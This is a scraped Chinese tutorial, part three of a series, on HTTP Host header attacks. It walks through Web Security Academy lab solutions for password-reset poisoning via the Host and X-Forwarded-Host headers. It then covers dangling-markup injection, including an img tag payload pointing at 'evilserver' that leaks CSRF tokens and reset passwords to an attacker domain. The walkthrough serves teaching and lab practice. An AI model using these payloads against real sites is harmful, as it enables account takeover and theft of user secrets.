HTTP Host 头攻击,是什么鬼?( 三 )


https://ac651f551e5317b8800207bd008f000f.web-security-academy.net/forgot-password?temp-forgot-password-token=00YIexUDyNLEJkaBXDoCILWtZAGaxgi7

HTTP Host 头攻击,是什么鬼?

文章插图
 
随即进入输入新密码的界面,密码重置中毒成功 。
5.1.2 密码重置中毒—注入覆盖Host头的字段有时候直接修改Host头、添加重复Host头的值以及混淆Host头都不行:
HTTP Host 头攻击,是什么鬼?

文章插图
 
可以尝试使用与Host头功能相同的HTTP字段,如X-Forwarded-Host、X-Forwarded-For等,可以进行Fuzz:
HTTP Host 头攻击,是什么鬼?

文章插图
 
实际上他能够被 X-Forwarded-Host 字段影响,导致Host头攻击,当同时添加多个字段使请求被拦截时,可以尝试类似排除法、二分法来排查哪个字段有效 。
对受害用户carlos进行密码重置投毒:
HTTP Host 头攻击,是什么鬼?

文章插图
 
然后构造链接即可:
https://acf11f4e1f164378800b165b00bb007d.web-security-academy.net/forgot-password?temp-forgot-password-token=o8gD3Le1K0YQcb2AaASgiI8F2eVI5m3h
HTTP Host 头攻击,是什么鬼?

文章插图
 
5.1.3 重置密码中毒—Dangling Markup技术首先简单介绍一下 Dangling Markup技术:
Dangling markup技术
Dangling markup技术, 是一种无需脚本即可窃取页面内容的技术,它使用图像等资源(结合CSP运行的策略)将数据发送到攻击者控制的远程位置 。当反射型XSS不工作或被内容安全策略(CSP)阻止时,它非常有用 。其思想是插入一些未完成状态的部分html,例如图像标记的src属性,页面上的其余标记关闭该属性,但同时将两者之间的数据(包含窃取页面的内容)发送到远程服务器 。
例如,我们在反射型XSS注入点上注入这样一个img标签:
<img src=https://www.isolves.com/it/aq/hk/2022-01-10/"https://evilserver/?
则注入点和下一个双引号的代码将会发送到攻击者的 https://evilserver 服务器, 其中被发送的代码或者内容可能包含一些敏感信息, 例如CSRF Token等, 配合反射型XSS以完成CSRF的利用 。
关于 Dangling Markup技术 的实战意义可以参考博主之前的文章:绕过CSP之Dangling markup技术
什么时候可以使用 Dangling Markup技术 呢?与我们这篇文章的主题有什么关系呢?
我们直接进入主题,当输入需要重置密码的用户名后,该用户的邮箱内会收到如下邮箱:
HTTP Host 头攻击,是什么鬼?

文章插图
 
有一个跳转到登录界面的链接,后面紧接着重置之后的随机密码 。
此时考虑一下,该链接是否是从Host头取值而来?只要这个值可控,那么就可以利用Host头攻击实施 Dangling Markup攻击,包含住链接后面紧跟着的密码,再结合Host头攻击将请求指定到攻击者服务器上 。一个漫天过海的窃取行为就完成了 。
  • 第一步,寻找Host头攻击点:
通过Fuzz,可发现Host头攻击类型为 忽略端口仅校验域名 。即服务端在校验Host域的时候,仅校验了域名,忽略了后面的端口号,造成端口值可控(可以是数字或字符):
HTTP Host 头攻击,是什么鬼?

文章插图
 

HTTP Host 头攻击,是什么鬼?

文章插图
 
通过在Host头的端口中注入payload,依旧可以实现Host头攻击 。
  • 第二步,借助可控变量 Host:ip:port 来实施 Dangling Markup技术,从而将后面的密码外带到攻击者服务器上:
注意,需要闭合此处的双引号出去,经过尝试,输入单引号时,服务端会自动转为双引号,故这里通过单引号将双引号闭合,然后添加自定的<a href=https://www.isolves.com/it/aq/hk/2022-01-10/xxx.attack-domain>标签将密码外带:
HTTP Host 头攻击,是什么鬼?

文章插图
 
原本的正常HTML是这样的:
HTTP Host 头攻击,是什么鬼?

文章插图
 
通过Dangling Markup技术 在a标签的链接中注入? 符,使得后面的值在双引号闭合之前全部被当做URL参数请求到攻击者服务器上:
HTTP Host 头攻击,是什么鬼?

文章插图


推荐阅读